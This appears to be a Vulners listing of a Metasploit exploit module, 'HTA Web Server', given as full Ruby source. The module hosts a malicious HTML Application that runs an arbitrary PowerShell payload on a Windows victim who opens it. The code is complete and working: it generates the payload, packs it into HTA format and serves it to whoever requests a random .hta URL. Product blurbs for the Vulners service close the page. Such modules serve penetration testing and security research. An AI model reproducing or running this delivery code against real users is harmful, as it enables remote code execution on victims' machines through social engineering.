Lucene search
K

HTA Web Server

🗓️ 06 Oct 2016 23:25:22Reported by Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 34 Views

This module hosts an HTML Application (HTA) that, when opened, runs a payload via Powershell, prompting the user with IE twice before execution

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HTA Web Server',
      'Description'    => %q(
        This module hosts an HTML Application (HTA) that when opened will run a
        payload via Powershell. When a user navigates to the HTA file they will
        be prompted by IE twice before the payload is executed.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => 'Spencer McIntyre',
      'References'     =>
        [
          ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
        ],
      # space is restricted by the powershell command limit
      'Payload'        => { 'DisableNops' => true, 'Space' => 2048 },
      'Platform'       => %w(win),
      'Targets'        =>
        [
          [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
          [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2016-10-06',
      'Notes'          =>
        {
          'SideEffects' => [ SCREEN_EFFECTS ],
          'Stability'   => [ CRASH_SAFE ],
        },
    ))
  end

  def on_request_uri(cli, _request)
    print_status('Delivering Payload')
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      target.arch,
      target.platform,
      p.encoded,
      'hta-psh',
      { :arch => target.arch, :platform => target.platform }
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end

  def random_uri
    # uri needs to end in .hta for IE to process the file correctly
    '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation